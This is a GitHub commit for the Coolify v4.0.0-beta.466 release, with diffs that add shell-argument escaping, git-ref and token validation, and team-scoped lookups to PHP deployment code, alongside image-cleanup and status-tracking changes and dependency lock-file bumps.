v4.0.0-beta.466 (#8893)

This commit is contained in:
Andras Bacsai 2026-03-11 07:33:27 +01:00 committed by GitHub
commit 3cd2b560de
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
39 changed files with 1256 additions and 220 deletions

View file

@ -327,6 +327,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
if (str($exitedService->status)->startsWith('exited')) {
continue;
}
// Only protection: If no containers at all, Docker query might have failed
if ($this->containers->isEmpty()) {
continue;
}
$name = data_get($exitedService, 'name');
$fqdn = data_get($exitedService, 'fqdn');
if ($name) {
@ -406,6 +412,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
if (str($database->status)->startsWith('exited')) {
continue;
}
// Only protection: If no containers at all, Docker query might have failed
if ($this->containers->isEmpty()) {
continue;
}
// Reset restart tracking when database exits completely
$database->update([
'status' => 'exited',

View file

@ -177,9 +177,10 @@ private function cleanupApplicationImages(Server $server, $applications = null):
->filter(fn ($image) => ! empty($image['tag']));
// Separate images into categories
// PR images (pr-*) and build images (*-build) are excluded from retention
// Build images will be cleaned up by docker image prune -af
// PR images (pr-*) are always deleted
// Build images (*-build) are cleaned up to match retained regular images
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
// Always delete all PR images
@ -209,6 +210,26 @@ private function cleanupApplicationImages(Server $server, $applications = null):
'output' => $deleteOutput ?? 'Image removed or was in use',
];
}
// Clean up build images (-build suffix) that don't correspond to retained regular images
// Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers.
// If a build is in progress, docker rmi will fail silently since the image is in use.
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
if (! empty($currentTag)) {
$keptTags = $keptTags->push($currentTag);
}
foreach ($buildImages as $image) {
$baseTag = preg_replace('/-build$/', '', $image['tag']);
if (! $keptTags->contains($baseTag)) {
$deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true";
$deleteOutput = instant_remote_process([$deleteCommand], $server, false);
$cleanupLog[] = [
'command' => $deleteCommand,
'output' => $deleteOutput ?? 'Build image removed or was in use',
];
}
}
}
return $cleanupLog;

View file

@ -177,6 +177,19 @@ public function handle(Server $server)
$parsers_config = $config_path.'/parsers.conf';
$compose_path = $config_path.'/docker-compose.yml';
$readme_path = $config_path.'/README.md';
if ($type === 'newrelic') {
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
} elseif ($type === 'highlight') {
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
} elseif ($type === 'axiom') {
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
} elseif ($type === 'custom') {
$envContent = '';
} else {
throw new \Exception('Unknown log drain type.');
}
$envEncoded = base64_encode($envContent);
$command = [
"echo 'Saving configuration'",
"mkdir -p $config_path",
@ -184,34 +197,10 @@ public function handle(Server $server)
"echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
"test -f $config_path/.env && rm $config_path/.env",
];
if ($type === 'newrelic') {
$add_envs_command = [
"echo LICENSE_KEY=$license_key >> $config_path/.env",
"echo BASE_URI=$base_uri >> $config_path/.env",
];
} elseif ($type === 'highlight') {
$add_envs_command = [
"echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env",
];
} elseif ($type === 'axiom') {
$add_envs_command = [
"echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env",
"echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env",
];
} elseif ($type === 'custom') {
$add_envs_command = [
"touch $config_path/.env",
];
} else {
throw new \Exception('Unknown log drain type.');
}
$restart_command = [
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
"echo 'Starting Fluent Bit'",
"cd $config_path && docker compose up -d",
];
$command = array_merge($command, $add_envs_command, $restart_command);
return instant_remote_process($command, $server);
} catch (\Throwable $e) {

View file

@ -4,6 +4,7 @@
use App\Events\SentinelRestarted;
use App\Models\Server;
use App\Models\ServerSetting;
use Lorisleiva\Actions\Concerns\AsAction;
class StartSentinel
@ -23,6 +24,9 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer
$refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds');
$pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds');
$token = data_get($server, 'settings.sentinel_token');
if (! ServerSetting::isValidSentinelToken($token)) {
throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.');
}
$endpoint = data_get($server, 'settings.sentinel_custom_url');
$debug = data_get($server, 'settings.is_sentinel_debug_enabled');
$mountDir = '/data/coolify/sentinel';
@ -49,7 +53,7 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer
}
$mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel';
}
$dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"';
$dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments));
$dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels));
$dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image";

View file

@ -2196,7 +2196,7 @@ private function clone_repository()
$this->create_workdir();
$this->execute_remote_command(
[
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"),
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit)." --pretty=%B"),
'hidden' => true,
'save' => 'commit_message',
]
@ -2904,7 +2904,7 @@ private function wrap_build_command_with_env_export(string $build_command): stri
private function build_image()
{
// Add Coolify related variables to the build args/secrets
if (! $this->dockerBuildkitSupported) {
if (! $this->dockerSecretsSupported) {
// Traditional build args approach - generate COOLIFY_ variables locally
$coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
$coolify_envs->each(function ($value, $key) {
@ -3515,8 +3515,8 @@ protected function findFromInstructionLines($dockerfile): array
private function add_build_env_variables_to_dockerfile()
{
if ($this->dockerBuildkitSupported) {
// We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets
if ($this->dockerSecretsSupported) {
// We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag
return;
}

View file

@ -307,6 +307,8 @@ private function aggregateMultiContainerStatuses()
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
$application->status = $aggregatedStatus;
$application->save();
} elseif ($aggregatedStatus) {
$application->update(['last_online_at' => now()]);
}
continue;
@ -321,6 +323,8 @@ private function aggregateMultiContainerStatuses()
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
$application->status = $aggregatedStatus;
$application->save();
} elseif ($aggregatedStatus) {
$application->update(['last_online_at' => now()]);
}
}
}
@ -371,6 +375,8 @@ private function aggregateServiceContainerStatuses()
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
$subResource->status = $aggregatedStatus;
$subResource->save();
} elseif ($aggregatedStatus) {
$subResource->update(['last_online_at' => now()]);
}
continue;
@ -386,6 +392,8 @@ private function aggregateServiceContainerStatuses()
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
$subResource->status = $aggregatedStatus;
$subResource->save();
} elseif ($aggregatedStatus) {
$subResource->update(['last_online_at' => now()]);
}
}
}
@ -399,6 +407,8 @@ private function updateApplicationStatus(string $applicationId, string $containe
if ($application->status !== $containerStatus) {
$application->status = $containerStatus;
$application->save();
} else {
$application->update(['last_online_at' => now()]);
}
}
@ -413,6 +423,8 @@ private function updateApplicationPreviewStatus(string $applicationId, string $p
if ($application->status !== $containerStatus) {
$application->status = $containerStatus;
$application->save();
} else {
$application->update(['last_online_at' => now()]);
}
}
@ -508,6 +520,8 @@ private function updateDatabaseStatus(string $databaseUuid, string $containerSta
if ($database->status !== $containerStatus) {
$database->status = $containerStatus;
$database->save();
} else {
$database->update(['last_online_at' => now()]);
}
if ($this->isRunning($containerStatus) && $tcpProxy) {
$tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) {
@ -545,8 +559,12 @@ private function updateNotFoundDatabaseStatus()
$database = $this->databases->where('uuid', $databaseUuid)->first();
if ($database) {
if (! str($database->status)->startsWith('exited')) {
$database->status = 'exited';
$database->save();
$database->update([
'status' => 'exited',
'restart_count' => 0,
'last_restart_at' => null,
'last_restart_type' => null,
]);
}
if ($database->is_public) {
StopDatabaseProxy::dispatch($database);
@ -555,31 +573,6 @@ private function updateNotFoundDatabaseStatus()
});
}
private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus)
{
$service = $this->services->where('id', $serviceId)->first();
if (! $service) {
return;
}
if ($subType === 'application') {
$application = $service->applications->where('id', $subId)->first();
if ($application) {
if ($application->status !== $containerStatus) {
$application->status = $containerStatus;
$application->save();
}
}
} elseif ($subType === 'database') {
$database = $service->databases->where('id', $subId)->first();
if ($database) {
if ($database->status !== $containerStatus) {
$database->status = $containerStatus;
$database->save();
}
}
}
}
private function updateNotFoundServiceStatus()
{
$notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds);

View file

@ -37,7 +37,7 @@ class General extends Component
#[Validate(['required'])]
public string $gitBranch;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
public ?string $gitCommitSha = null;
#[Validate(['string', 'nullable'])]
@ -184,7 +184,7 @@ protected function rules(): array
'fqdn' => 'nullable',
'gitRepository' => 'required',
'gitBranch' => 'required',
'gitCommitSha' => 'nullable',
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'installCommand' => 'nullable',
'buildCommand' => 'nullable',
'startCommand' => 'nullable',

View file

@ -50,6 +50,8 @@ public function rollbackImage($commit)
{
$this->authorize('deploy', $this->application);
$commit = validateGitRef($commit, 'rollback commit');
$deployment_uuid = new Cuid2;
$result = queue_application_deployment(

View file

@ -30,7 +30,7 @@ class Source extends Component
#[Validate(['required', 'string'])]
public string $gitBranch;
#[Validate(['nullable', 'string'])]
#[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
public ?string $gitCommitSha = null;
#[Locked]

View file

@ -45,10 +45,10 @@ public function mount()
if ($this->resource === null) {
if (isset($parameters['service_uuid'])) {
$this->resource = Service::where('uuid', $parameters['service_uuid'])->first();
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first();
} elseif (isset($parameters['stack_service_uuid'])) {
$this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first()
?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first();
$this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first()
?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first();
}
}

View file

@ -38,7 +38,7 @@ public function mount()
$this->servers = collect();
if (data_get($this->parameters, 'application_uuid')) {
$this->type = 'application';
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
if ($this->resource->destination->server->isFunctional()) {
$this->servers = $this->servers->push($this->resource->destination->server);
}
@ -61,14 +61,14 @@ public function mount()
$this->loadContainers();
} elseif (data_get($this->parameters, 'service_uuid')) {
$this->type = 'service';
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
if ($this->resource->server->isFunctional()) {
$this->servers = $this->servers->push($this->resource->server);
}
$this->loadContainers();
} elseif (data_get($this->parameters, 'server_uuid')) {
$this->type = 'server';
$this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail();
$this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail();
$this->servers = $this->servers->push($this->resource);
}
$this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled());

View file

@ -106,7 +106,7 @@ public function mount()
$this->query = request()->query();
if (data_get($this->parameters, 'application_uuid')) {
$this->type = 'application';
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
$this->status = $this->resource->status;
if ($this->resource->destination->server->isFunctional()) {
$server = $this->resource->destination->server;
@ -133,7 +133,7 @@ public function mount()
$this->containers->push($this->container);
} elseif (data_get($this->parameters, 'service_uuid')) {
$this->type = 'service';
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
$this->resource->applications()->get()->each(function ($application) {
$this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid'));
});

View file

@ -24,16 +24,16 @@ class LogDrains extends Component
#[Validate(['boolean'])]
public bool $isLogDrainAxiomEnabled = false;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainNewRelicLicenseKey = null;
#[Validate(['url', 'nullable'])]
public ?string $logDrainNewRelicBaseUri = null;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainAxiomDatasetName = null;
#[Validate(['string', 'nullable'])]
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainAxiomApiKey = null;
#[Validate(['string', 'nullable'])]
@ -127,7 +127,7 @@ public function customValidation()
if ($this->isLogDrainNewRelicEnabled) {
try {
$this->validate([
'logDrainNewRelicLicenseKey' => ['required'],
'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainNewRelicBaseUri' => ['required', 'url'],
]);
} catch (\Throwable $e) {
@ -138,8 +138,8 @@ public function customValidation()
} elseif ($this->isLogDrainAxiomEnabled) {
try {
$this->validate([
'logDrainAxiomDatasetName' => ['required'],
'logDrainAxiomApiKey' => ['required'],
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
]);
} catch (\Throwable $e) {
$this->isLogDrainAxiomEnabled = false;

View file

@ -19,7 +19,7 @@ class Sentinel extends Component
public bool $isMetricsEnabled;
#[Validate(['required'])]
#[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])]
public string $sentinelToken;
public ?string $sentinelUpdatedAt = null;

View file

@ -139,7 +139,9 @@ private function deleteRemovedVariables($variables)
private function updateOrCreateVariables($variables)
{
$count = 0;
foreach ($variables as $key => $value) {
foreach ($variables as $key => $data) {
$value = is_array($data) ? ($data['value'] ?? '') : $data;
$found = $this->environment->environment_variables()->where('key', $key)->first();
if ($found) {

View file

@ -130,7 +130,9 @@ private function deleteRemovedVariables($variables)
private function updateOrCreateVariables($variables)
{
$count = 0;
foreach ($variables as $key => $value) {
foreach ($variables as $key => $data) {
$value = is_array($data) ? ($data['value'] ?? '') : $data;
$found = $this->project->environment_variables()->where('key', $key)->first();
if ($found) {

View file

@ -129,7 +129,9 @@ private function deleteRemovedVariables($variables)
private function updateOrCreateVariables($variables)
{
$count = 0;
foreach ($variables as $key => $value) {
foreach ($variables as $key => $data) {
$value = is_array($data) ? ($data['value'] ?? '') : $data;
$found = $this->team->environment_variables()->where('key', $key)->first();
if ($found) {

View file

@ -1686,7 +1686,8 @@ public function fqdns(): Attribute
protected function buildGitCheckoutCommand($target): string
{
$command = "git checkout $target";
$escapedTarget = escapeshellarg($target);
$command = "git checkout {$escapedTarget}";
if ($this->settings->is_git_submodules_enabled) {
$command .= ' && git submodule update --init --recursive';

View file

@ -92,6 +92,15 @@ protected static function booted()
});
}
/**
* Validate that a sentinel token contains only safe characters.
* Prevents OS command injection when the token is interpolated into shell commands.
*/
public static function isValidSentinelToken(string $token): bool
{
return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token);
}
public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false)
{
$data = [

View file

@ -2,6 +2,8 @@
namespace App\Traits;
use App\Models\ServerSetting;
trait HasMetrics
{
public function getCpuMetrics(int $mins = 5): ?array
@ -26,8 +28,13 @@ private function getMetrics(string $type, int $mins, string $valueField): ?array
$from = now()->subMinutes($mins)->toIso8601ZuluString();
$endpoint = $this->getMetricsEndpoint($type, $from);
$token = $server->settings->sentinel_token;
if (! ServerSetting::isValidSentinelToken($token)) {
throw new \Exception('Invalid sentinel token format. Please regenerate the token.');
}
$response = instant_remote_process(
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"],
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"],
$server,
false
);

View file

@ -92,7 +92,7 @@ function sharedDataApplications()
'static_image' => Rule::enum(StaticImageTypes::class),
'domains' => 'string|nullable',
'redirect' => Rule::enum(RedirectTypes::class),
'git_commit_sha' => 'string',
'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'docker_registry_image_name' => 'string|nullable',
'docker_registry_image_tag' => 'string|nullable',
'install_command' => 'string|nullable',

View file

@ -986,15 +986,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
continue;
}
if ($key->value() === $parsedValue->value()) {
$value = null;
$resource->environment_variables()->firstOrCreate([
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $key,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
], [
'value' => $value,
'is_preview' => false,
]);
// Add the variable to the environment using the saved DB value
$environment[$key->value()] = $envVar->value;
} else {
if ($value->startsWith('$')) {
$isRequired = false;
@ -1074,7 +1076,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
} else {
// Simple variable reference without default
$parsedKeyValue = replaceVariables($value);
$resource->environment_variables()->firstOrCreate([
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $content,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
@ -1082,8 +1084,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
'is_preview' => false,
'is_required' => $isRequired,
]);
// Add the variable to the environment
$environment[$content] = $value;
// Add the variable to the environment using the saved DB value
$environment[$content] = $envVar->value;
}
} else {
// Fallback to old behavior for malformed input (backward compatibility)
@ -1109,7 +1111,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
if ($originalValue->value() === $value->value()) {
// This means the variable does not have a default value
$parsedKeyValue = replaceVariables($value);
$resource->environment_variables()->firstOrCreate([
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $parsedKeyValue,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
@ -1117,7 +1119,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
'is_preview' => false,
'is_required' => $isRequired,
]);
$environment[$parsedKeyValue->value()] = $value;
// Add the variable to the environment using the saved DB value
$environment[$parsedKeyValue->value()] = $envVar->value;
continue;
}
@ -2325,16 +2328,18 @@ function serviceParser(Service $resource): Collection
continue;
}
if ($key->value() === $parsedValue->value()) {
$value = null;
$resource->environment_variables()->updateOrCreate([
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $key,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
], [
'value' => $value,
'is_preview' => false,
'comment' => $envComments[$originalKey] ?? null,
]);
// Add the variable to the environment using the saved DB value
$environment[$key->value()] = $envVar->value;
} else {
if ($value->startsWith('$')) {
$isRequired = false;
@ -2421,7 +2426,8 @@ function serviceParser(Service $resource): Collection
}
} else {
// Simple variable reference without default
$resource->environment_variables()->updateOrCreate([
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $content,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
@ -2430,6 +2436,8 @@ function serviceParser(Service $resource): Collection
'is_required' => $isRequired,
'comment' => $envComments[$originalKey] ?? null,
]);
// Add the variable to the environment using the saved DB value
$environment[$content] = $envVar->value;
}
} else {
// Fallback to old behavior for malformed input (backward compatibility)
@ -2455,8 +2463,9 @@ function serviceParser(Service $resource): Collection
if ($originalValue->value() === $value->value()) {
// This means the variable does not have a default value
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
$parsedKeyValue = replaceVariables($value);
$resource->environment_variables()->updateOrCreate([
$envVar = $resource->environment_variables()->firstOrCreate([
'key' => $parsedKeyValue,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
@ -2465,12 +2474,13 @@ function serviceParser(Service $resource): Collection
'is_required' => $isRequired,
'comment' => $envComments[$originalKey] ?? null,
]);
// Add the variable to the environment so it will be shown in the deployable compose file
$environment[$parsedKeyValue->value()] = $value;
// Add the variable to the environment using the saved DB value
$environment[$parsedKeyValue->value()] = $envVar->value;
continue;
}
$resource->environment_variables()->updateOrCreate([
// Variable with a default value from compose — use firstOrCreate to preserve user edits
$resource->environment_variables()->firstOrCreate([
'key' => $key,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,

View file

@ -147,6 +147,39 @@ function validateShellSafePath(string $input, string $context = 'path'): string
return $input;
}
/**
* Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD).
*
* Prevents command injection by enforcing an allowlist of characters valid for git refs.
* Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes).
*
* @param string $input The git ref to validate
* @param string $context Descriptive name for error messages
* @return string The validated input (trimmed)
*
* @throws \Exception If the input contains disallowed characters
*/
function validateGitRef(string $input, string $context = 'git ref'): string
{
$input = trim($input);
if ($input === '' || $input === 'HEAD') {
return $input;
}
// Must not start with a hyphen (git flag injection)
if (str_starts_with($input, '-')) {
throw new \Exception("Invalid {$context}: must not start with a hyphen.");
}
// Allow only alphanumeric characters, dots, hyphens, underscores, and slashes
if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) {
throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed.");
}
return $input;
}
function generate_readme_file(string $name, string $updated_at): string
{
$name = sanitize_string($name);

18
composer.lock generated
View file

@ -2663,16 +2663,16 @@
},
{
"name": "league/commonmark",
"version": "2.8.0",
"version": "2.8.1",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/commonmark.git",
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb"
"reference": "84b1ca48347efdbe775426f108622a42735a6579"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
"reference": "84b1ca48347efdbe775426f108622a42735a6579",
"shasum": ""
},
"require": {
@ -2697,9 +2697,9 @@
"phpstan/phpstan": "^1.8.2",
"phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0",
"scrutinizer/ocular": "^1.8.1",
"symfony/finder": "^5.3 | ^6.0 | ^7.0",
"symfony/process": "^5.4 | ^6.0 | ^7.0",
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0",
"symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0",
"symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0",
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0",
"unleashedtech/php-coding-standard": "^3.1.1",
"vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0"
},
@ -2766,7 +2766,7 @@
"type": "tidelift"
}
],
"time": "2025-11-26T21:48:24+00:00"
"time": "2026-03-05T21:37:03+00:00"
},
{
"name": "league/config",
@ -17209,5 +17209,5 @@
"php": "^8.4"
},
"platform-dev": {},
"plugin-api-version": "2.6.0"
"plugin-api-version": "2.9.0"
}

View file

@ -2,7 +2,7 @@
return [
'coolify' => [
'version' => '4.0.0-beta.465',
'version' => '4.0.0-beta.466',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.11',
'self_hosted' => env('SELF_HOSTED', true),

266
package-lock.json generated
View file

@ -596,9 +596,9 @@
"license": "MIT"
},
"node_modules/@rollup/rollup-android-arm-eabi": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz",
"integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
"integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
"cpu": [
"arm"
],
@ -610,9 +610,9 @@
]
},
"node_modules/@rollup/rollup-android-arm64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz",
"integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
"integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
"cpu": [
"arm64"
],
@ -624,9 +624,9 @@
]
},
"node_modules/@rollup/rollup-darwin-arm64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz",
"integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
"integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
"cpu": [
"arm64"
],
@ -638,9 +638,9 @@
]
},
"node_modules/@rollup/rollup-darwin-x64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz",
"integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
"integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
"cpu": [
"x64"
],
@ -652,9 +652,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-arm64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz",
"integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
"integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
"cpu": [
"arm64"
],
